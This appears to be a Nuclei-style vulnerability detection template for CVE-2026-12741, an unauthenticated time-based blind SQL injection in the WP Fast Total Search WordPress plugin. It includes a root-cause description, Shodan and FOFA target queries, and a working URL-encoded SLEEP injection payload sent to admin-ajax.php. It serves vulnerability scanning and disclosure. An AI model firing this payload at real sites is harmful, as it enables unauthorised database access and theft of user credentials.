WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection

id: CVE-2026-12741

info:
  name: WP Fast Total Search <= 1.80.280 - Unauthenticated Time-Based Blind SQL Injection
  author: Abdullah Shahid (comradezephyr)
  severity: high
  description: |
    WP Fast Total Search (fulltext-search) versions up to and including 1.80.280 contain an unauthenticated time-based blind SQL injection. The wp_ajax_nopriv_wpfts_autocomplete handler reads the form_data[s] parameter and feeds it into a WP_Query. The plugin's index_sql_where() builds its cluster query with double-quoted string literals using esc_like() which only escapes LIKE wildcards and not quotes, allowing a double quote to break out of the literal. When form_data[sentence] is set, the search term is used verbatim, giving a clean injection point.
  impact: |
    An unauthenticated attacker can execute arbitrary SQL against the WordPress database, enabling extraction of user accounts, password hashes and other sensitive data.
  remediation: |
    Update WP Fast Total Search to version 1.81.282 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12741
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9b6fe22-330a-4c24-9fdf-16f35516fb2a?source=cve
    - https://plugins.trac.wordpress.org/browser/fulltext-search/tags/1.80.280/includes/wpfts_search.php#L825
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-12741
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: wp-fast-total-search
    product: wp_fast_total_search
    shodan-query: http.html:"wp-content/plugins/fulltext-search"
    fofa-query: body="wp-content/plugins/fulltext-search"
  tags: cve,cve2026,wordpress,wp-plugin,fulltext-search,sqli,time-based-sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "/wp-content/plugins/fulltext-search/")'

  - raw:
      - |
        @timeout: 12s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpfts_autocomplete&form_data%5Bsentence%5D=1&form_data%5Bs%5D=zzz%22%20OR%20%28SELECT%201%20FROM%20%28SELECT%20SLEEP%284%29%29x%29%20OR%20%22aaa

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7 && duration < 20'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220053dc98cfe583a41c87dfaabe7749a6bca71ebe233188967ed8f438735b6cc580220612192eb214bfa0834c1720e8f0fdff5a9cf1e663856fb5ca458cad674bb5304:922c64590222798bb761d5b6d8e72950